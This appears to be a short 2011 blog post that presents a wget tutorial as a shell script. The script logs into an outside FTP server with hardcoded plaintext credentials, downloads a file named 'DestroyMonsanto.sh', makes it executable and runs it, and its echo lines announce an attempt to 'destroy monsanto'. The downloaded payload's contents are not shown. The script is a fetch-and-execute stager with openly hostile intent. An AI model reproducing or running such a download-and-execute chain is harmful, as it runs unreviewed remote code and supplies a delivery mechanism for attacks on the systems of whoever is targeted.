Exploit-DB updates

Tuesday, May 17, 2011

Using wget to download ftp files

This is a quick example of how you can use wget to download more then just html files, in this case we will download a shell script off our ftp server and then execute it.

#! /bin/sh
echo -e "\033[1;32;1mAttempting to destroy monsanto before they contaminate the planet with hazardous GMO's"
wget --ftp-user Pathogen --ftp-password hakhub ftp://ftp.drivehq.com:21/DestroyMonsanto.sh
chmod 755 DestroyMonsanto.sh
./DestroyMonsanto.sh
echo "Too late"

That is a basic example of a shell script which would download a file using wget, give it the appropriate permissions, then execute it. If you need free ftp storage, check out drivehq.

No comments:

Post a Comment